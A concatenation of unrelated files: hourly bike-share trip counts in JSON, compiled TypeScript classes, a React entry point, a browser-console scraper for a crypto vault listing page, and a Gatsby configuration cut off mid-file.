"number_of_trips": 14
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 1:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 2:00",
"number_of_trips": 11
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 2:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 3:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 3:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 4:00",
"number_of_trips": 16
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 4:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 5:00",
"number_of_trips": 109
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 5:00",
"number_of_trips": 5
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 6:00",
"number_of_trips": 453
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 6:00",
"number_of_trips": 28
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 7:00",
"number_of_trips": 58
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 7:00",
"number_of_trips": 983
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 8:00",
"number_of_trips": 1330
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 8:00",
"number_of_trips": 96
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 9:00",
"number_of_trips": 84
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 9:00",
"number_of_trips": 589
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 10:00",
"number_of_trips": 130
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 10:00",
"number_of_trips": 303
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 11:00",
"number_of_trips": 331
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 11:00",
"number_of_trips": 144
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 12:00",
"number_of_trips": 429
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 12:00",
"number_of_trips": 229
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 13:00",
"number_of_trips": 177
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 13:00",
"number_of_trips": 403
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 14:00",
"number_of_trips": 186
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 14:00",
"number_of_trips": 352
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 15:00",
"number_of_trips": 210
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 15:00",
"number_of_trips": 433
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 16:00",
"number_of_trips": 789
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 16:00",
"number_of_trips": 195
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 17:00",
"number_of_trips": 299
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 17:00",
"number_of_trips": 1507
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 18:00",
"number_of_trips": 308
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 18:00",
"number_of_trips": 1273
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 19:00",
"number_of_trips": 232
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 19:00",
"number_of_trips": 896
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 20:00",
"number_of_trips": 245
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 20:00",
"number_of_trips": 652
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 21:00",
"number_of_trips": 448
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 21:00",
"number_of_trips": 169
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 22:00",
"number_of_trips": 83
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 22:00",
"number_of_trips": 262
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 23:00",
"number_of_trips": 79
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 23:00",
"number_of_trips": 112
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 0:00",
"number_of_trips": 57
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 0:00",
"number_of_trips": 30
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 1:00",
"number_of_trips": 5
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 1:00",
"number_of_trips": 15
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 2:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 2:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 3:00",
"number_of_trips": 9
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 4:00",
"number_of_trips": 4
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 4:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 5:00",
"number_of_trips": 118
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 5:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 6:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 6:00",
"number_of_trips": 405
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 7:00",
"number_of_trips": 948
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 7:00",
"number_of_trips": 80
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 8:00",
"number_of_trips": 84
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 8:00",
"number_of_trips": 1338
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 9:00",
"number_of_trips": 555
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 9:00",
"number_of_trips": 94
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 10:00",
"number_of_trips": 88
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 10:00",
"number_of_trips": 274
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 11:00",
"number_of_trips": 79
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 11:00",
"number_of_trips": 187
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 12:00",
"number_of_trips": 60
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 12:00",
"number_of_trips": 213
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 13:00",
"number_of_trips": 239
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 13:00",
"number_of_trips": 121
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 14:00",
"number_of_trips": 297
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 14:00",
"number_of_trips": 147
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 15:00",
"number_of_trips": 377
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 15:00",
"number_of_trips": 146
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 16:00",
"number_of_trips": 766
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 16:00",
"number_of_trips": 230
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 17:00",
"number_of_trips": 1330
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 17:00",
"number_of_trips": 243
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 18:00",
"number_of_trips": 1226
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 18:00",
"number_of_trips": 239
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 19:00",
"number_of_trips": 226
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 19:00",
"number_of_trips": 777
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 20:00",
"number_of_trips": 621
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 20:00",
"number_of_trips": 186
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 21:00",
"number_of_trips": 127
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 21:00",
"number_of_trips": 389
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 22:00",
"number_of_trips": 250
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 22:00",
"number_of_trips": 96
},
{
"member_type": "Casual",
"hour_of_trip": "06/27/2018 23:00",
"number_of_trips": 66
},
{
"member_type": "Member",
"hour_of_trip": "06/27/2018 23:00",
"number_of_trips": 114
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 0:00",
"number_of_trips": 29
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 0:00",
"number_of_trips": 63
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 1:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 1:00",
"number_of_trips": 24
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 2:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 2:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 3:00",
"number_of_trips": 9
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 4:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 5:00",
"number_of_trips": 96
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 5:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 6:00",
"number_of_trips": 377
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 6:00",
"number_of_trips": 29
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 7:00",
"number_of_trips": 869
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 7:00",
"number_of_trips": 61
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 8:00",
"number_of_trips": 1403
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 8:00",
"number_of_trips": 115
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 9:00",
"number_of_trips": 594
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 9:00",
"number_of_trips": 94
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 10:00",
"number_of_trips": 294
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 10:00",
"number_of_trips": 114
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 11:00",
"number_of_trips": 157
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 11:00",
"number_of_trips": 326
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 12:00",
"number_of_trips": 181
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 12:00",
"number_of_trips": 437
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 13:00",
"number_of_trips": 442
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 13:00",
"number_of_trips": 174
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 14:00",
"number_of_trips": 206
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 14:00",
"number_of_trips": 388
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 15:00",
"number_of_trips": 232
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 15:00",
"number_of_trips": 526
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 16:00",
"number_of_trips": 179
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 16:00",
"number_of_trips": 795
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 17:00",
"number_of_trips": 1440
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 17:00",
"number_of_trips": 299
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 18:00",
"number_of_trips": 293
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 18:00",
"number_of_trips": 1194
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 19:00",
"number_of_trips": 239
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 19:00",
"number_of_trips": 881
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 20:00",
"number_of_trips": 240
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 20:00",
"number_of_trips": 629
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 21:00",
"number_of_trips": 431
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 21:00",
"number_of_trips": 174
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 22:00",
"number_of_trips": 343
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 22:00",
"number_of_trips": 118
},
{
"member_type": "Member",
"hour_of_trip": "06/28/2018 23:00",
"number_of_trips": 174
},
{
"member_type": "Casual",
"hour_of_trip": "06/28/2018 23:00",
"number_of_trips": 100
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 0:00",
"number_of_trips": 80
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 0:00",
"number_of_trips": 39
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 1:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 1:00",
"number_of_trips": 54
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 2:00",
"number_of_trips": 18
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 2:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 3:00",
"number_of_trips": 10
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 3:00",
"number_of_trips": 2
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 4:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 4:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 5:00",
"number_of_trips": 107
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 5:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 6:00",
"number_of_trips": 313
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 6:00",
"number_of_trips": 27
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 7:00",
"number_of_trips": 62
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 7:00",
"number_of_trips": 772
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 8:00",
"number_of_trips": 1208
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 8:00",
"number_of_trips": 100
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 9:00",
"number_of_trips": 109
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 9:00",
"number_of_trips": 583
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 10:00",
"number_of_trips": 137
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 10:00",
"number_of_trips": 326
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 11:00",
"number_of_trips": 357
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 11:00",
"number_of_trips": 188
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 12:00",
"number_of_trips": 234
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 12:00",
"number_of_trips": 426
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 13:00",
"number_of_trips": 437
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 13:00",
"number_of_trips": 248
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 14:00",
"number_of_trips": 289
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 14:00",
"number_of_trips": 448
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 15:00",
"number_of_trips": 580
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 15:00",
"number_of_trips": 245
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 16:00",
"number_of_trips": 798
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 16:00",
"number_of_trips": 253
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 17:00",
"number_of_trips": 292
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 17:00",
"number_of_trips": 1142
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 18:00",
"number_of_trips": 880
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 18:00",
"number_of_trips": 262
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 19:00",
"number_of_trips": 258
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 19:00",
"number_of_trips": 652
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 20:00",
"number_of_trips": 275
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 20:00",
"number_of_trips": 459
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 21:00",
"number_of_trips": 340
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 21:00",
"number_of_trips": 192
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 22:00",
"number_of_trips": 180
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 22:00",
"number_of_trips": 244
},
{
"member_type": "Casual",
"hour_of_trip": "06/29/2018 23:00",
"number_of_trips": 151
},
{
"member_type": "Member",
"hour_of_trip": "06/29/2018 23:00",
"number_of_trips": 197
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 0:00",
"number_of_trips": 145
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 0:00",
"number_of_trips": 101
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 1:00",
"number_of_trips": 102
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 1:00",
"number_of_trips": 68
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 2:00",
"number_of_trips": 66
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 2:00",
"number_of_trips": 29
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 3:00",
"number_of_trips": 26
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 3:00",
"number_of_trips": 34
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 4:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 4:00",
"number_of_trips": 21
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 5:00",
"number_of_trips": 30
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 5:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 6:00",
"number_of_trips": 28
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 6:00",
"number_of_trips": 65
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 7:00",
"number_of_trips": 58
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 7:00",
"number_of_trips": 149
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 8:00",
"number_of_trips": 127
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 8:00",
"number_of_trips": 286
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 9:00",
"number_of_trips": 523
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 9:00",
"number_of_trips": 235
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 10:00",
"number_of_trips": 302
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 10:00",
"number_of_trips": 617
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 11:00",
"number_of_trips": 318
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 11:00",
"number_of_trips": 583
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 12:00",
"number_of_trips": 317
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 12:00",
"number_of_trips": 688
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 13:00",
"number_of_trips": 690
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 13:00",
"number_of_trips": 384
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 14:00",
"number_of_trips": 389
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 14:00",
"number_of_trips": 624
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 15:00",
"number_of_trips": 302
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 15:00",
"number_of_trips": 472
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 16:00",
"number_of_trips": 366
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 16:00",
"number_of_trips": 575
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 17:00",
"number_of_trips": 466
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 17:00",
"number_of_trips": 330
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 18:00",
"number_of_trips": 302
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 18:00",
"number_of_trips": 462
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 19:00",
"number_of_trips": 380
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 19:00",
"number_of_trips": 333
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 20:00",
"number_of_trips": 377
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 20:00",
"number_of_trips": 397
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 21:00",
"number_of_trips": 332
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 21:00",
"number_of_trips": 248
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 22:00",
"number_of_trips": 207
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 22:00",
"number_of_trips": 229
},
{
"member_type": "Member",
"hour_of_trip": "06/30/2018 23:00",
"number_of_trips": 170
},
{
"member_type": "Casual",
"hour_of_trip": "06/30/2018 23:00",
"number_of_trips": 107
}
]
|
"use strict";
var __extends = (this && this.__extends) || (function () {
var extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
return function (d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var Foo2 = (function () {
function Foo2(x) {
this.foo = x;
}
Foo2.prototype.aaa = function () {
};
Foo2.prototype._bbb = function () {
console.log(this);
};
return Foo2;
}());
var f = new Foo2('ok');
var Goo = (function (_super) {
__extends(Goo, _super);
function Goo() {
var _this = _super.call(this, 'x') || this;
_this.great = 5;
return _this;
}
Goo.prototype.blup = function () {
};
return Goo;
}(Foo2));
|
'use strict';
module.exports = function ( i, j ) {
if ( i === j ) {
return 1;
}
return 0;
};
|
import React from 'react';
import ReactDOM from 'react-dom';
import { Provider } from 'react-redux';
import { PersistGate } from 'redux-persist/integration/react';
import { BrowserRouter } from 'react-router-dom';
import { store, persistor } from './store';
import App from './App';
ReactDOM.render(
<Provider store={store}>
<PersistGate persistor={persistor}>
<BrowserRouter>
<App />
</BrowserRouter>
</PersistGate>
</Provider>,
document.getElementById('root')
);
|
// # KogeFarm Vaults Asset (LP) + Website (Platform) Scraper
// # lb 12/10/21
// ## Asset Selector
// /html/body/div[1]/div[1]/div/div[2]/div/div[4]/div/div[1]/table/tbody/tr[1]/td[2]/div/div/div/div[1]/div[2]/div
//*[@id=“root”]/div[1]/div/div[2]/div/div[4]/div/div[1]/table/tbody/tr[1]/td[2]/div/div/div/div[1]/div[2]/div
// document.querySelector(“#root > div.Menu__Wrapper-sc-16lwz1j-0.fPrHlA > div > div.Menu__Inner-sc-16lwz1j-6.eKtHTJ > div > div.FarmTable__Container-sc-m77kcj-1.cDnLqI > div > div.FarmTable__TableWrapper-sc-m77kcj-2.ea-DDvC > table > tbody > tr:nth-child(1) > td:nth-child(2) > div > div > div > div.Farm__FarmContainer-sc-1j28ev8-2.dUvgxt > div:nth-child(2) > div”)
// #root > div.Menu__Wrapper-sc-16lwz1j-0.fPrHlA > div > div.Menu__Inner-sc-16lwz1j-6.eKtHTJ > div > div.FarmTable__Container-sc-m77kcj-1.cDnLqI > div > div.FarmTable__TableWrapper-sc-m77kcj-2.ea-DDvC > table > tbody > tr:nth-child(1) > td:nth-child(2) > div > div > div > div.Farm__FarmContainer-sc-1j28ev8-2.dUvgxt > div:nth-child(2) > div
// <div color=“text” class=“Text-sc-1ih1y3x-0 ipqjUy”>KOGECOIN</div>
// ## Website (Platform)
// /html/body/div[1]/div[1]/div/div[2]/div/div[4]/div/div[1]/table/tbody/tr[2]/td/div/div/div[1]/div[2]/a[2]
//*[@id="root"]/div[1]/div/div[2]/div/div[4]/div/div[1]/table/tbody/tr[2]/td/div/div/div[1]/div[2]/a[2]
// document.querySelector("#root > div.Menu__Wrapper-sc-16lwz1j-0.fPrHlA > div > div.Menu__Inner-sc-16lwz1j-6.eKtHTJ > div > div.FarmTable__Container-sc-m77kcj-1.cDnLqI > div > div.FarmTable__TableWrapper-sc-m77kcj-2.ea-DDvC > table > tbody > tr:nth-child(2) > td > div > div > div:nth-child(1) > div.ActionPanel__InfoContainer-sc-1niyqu7-6.dfsPwc > a:nth-child(4)")
// #root > div.Menu__Wrapper-sc-16lwz1j-0.fPrHlA > div > div.Menu__Inner-sc-16lwz1j-6.eKtHTJ > div > div.FarmTable__Container-sc-m77kcj-1.cDnLqI > div > div.FarmTable__TableWrapper-sc-m77kcj-2.ea-DDvC > table > tbody > tr:nth-child(2) > td > div > div > div:nth-child(1) > div.ActionPanel__InfoContainer-sc-1niyqu7-6.dfsPwc > a:nth-child(4)
// <a target="_blank" rel="noreferrer noopener" href="https://kogecoin.io" color="#171717" class="Text-sc-1ih1y3x-0 Link__StyledLink-sc-66drct-0 dJsGDh iZzRB ActionPanel__StyledLinkExternal-sc-1niyqu7-3 kKWscP" data-darkreader-inline-color="" style="--darkreader-inline-color:#d9d6d1;"><svg width="18" height="18" fill="none" color="#171717" xmlns="http://www.w3.org/2000/svg" class="Svg-sc-1klc0d0-0 bqCmUt" data-darkreader-inline-color="" style="--darkreader-inline-color:#d9d6d1;"><path fill-rule="evenodd" clip-rule="evenodd" d="M6.917 10.972a.5.5 0 01.008-.706l5.73-5.595h-1.11a.5.5 0 010-1h2.282a.499.499 0 01.415.148l.004.004a.5.5 0 01.142.348v2.441a.5.5 0 01-1 0v-1.26L7.623 10.98a.5.5 0 01-.706-.009zM4.892 5.048a.5.5 0 00-.5.5V13a.5.5 0 00.5.5h7.452a.5.5 0 00.5-.5V8.742a.5.5 0 00-1 0V12.5H5.393V6.048h4.024a.5.5 0 100-1H4.892z"></path></svg>Platform</a>
// ——
// ```
// get collection of vault attributes ( lp | platform )
// TODO expand for fantom + moonriver
//TODO scroll to bottom so all dom elements present
// function scrollTo(element, to, duration) {
// if (duration <= 0) return;
// var difference = to - element.scrollTop;
// var perTick = difference / duration * 10;
// setTimeout(function() {
// element.scrollTop = element.scrollTop + perTick;
// if (element.scrollTop === to) return;
// scrollTo(element, to, duration - 10);
// }, 10);
// }
// function runScroll() {
// scrollTo(document.body, 0, 600);
// }
// var scrollme;
// scrollme = document.querySelector("#scrollme");
// scrollme.addEventListener("click",runScroll,false)
// function scrollTo(element, to, duration) {
// if (duration <= 0) return;
// var difference = to - element.scrollTop;
// var perTick = difference / duration * 10;
// setTimeout(function() {
// element.scrollTop = element.scrollTop + perTick;
// if (element.scrollTop == to) return;
// scrollTo(element, to, duration - 10);
// }, 10);
// }
// window.scrollTo(0,document.querySelector(".scrollingContainer").scrollHeight);
// window.scrollTo(0,document.body.scrollHeight);
const lps = document.querySelectorAll('[class^="Farm__Container"] > div:nth-child(2) > div');
const platforms = document.querySelectorAll('[class^="ActionPanel__InfoContainer"] > a:nth-child(4)');
console.log("lps", lps);
console.log("platforms", platforms);
// const lpsArray = lps.toArray();
// const platformsArray = platforms.toArray();
// console.log("lpsArray", lpsArray);
// console.log("platformsArray", platformsArray);
// lpsArray.forEach(vault) => {
// console.log(lpsArray[vault] + “ | “ + platformsArray[vault] + “\n”);
// }
|
require('dotenv').config({
path: `.env.${process.env.NODE_ENV}`,
});
const config = require('./content/meta/config');
module.exports = {
pathPrefix: '/gatsby-starter-base',
siteMetadata: {
title: config.siteTitle,
description: config.siteDescription,
siteUrl: config.siteUrl,
},
plugins: [
{
resolve: `gatsby-source-filesystem`,
options: {
name: `parts`,
path: `${__dirname}/content/parts/`,
},
},
`gatsby-transformer-remark`,
`gatsby-plugin-catch-links`,
`gatsby-plugin-sitemap`,
{
resolve: `gatsby-source-filesystem`,
options: {
name: `posts`,
path: `${__dirname}/content/posts/`,
},
},
{
resolve: `gatsby-source-filesystem`,
options: {
name: `pages`,
path: `${__dirname}/content/pages/`,
},
},
`gatsby-transformer-sharp`,
`gatsby-plugin-sharp`,
`gatsby-plugin-catch-links`,
{
resolve: `gatsby-transformer-remark`,
options: {
plugins: [
{
resolve: 'gatsby-remark-images',
options: {
maxWidth: 690,
},
},
`gatsby-remark-prismjs`,
`gatsby-remark-responsive-iframe`,
`gatsby-remark-copy-linked-files`,
`gatsby-remark-smartypants`,
{
resolve: 'gatsby-remark-emojis',
options: {
// Deactivate the plugin globally (default: true)
active: true,
// Add a custom css class
class: 'emoji-icon',
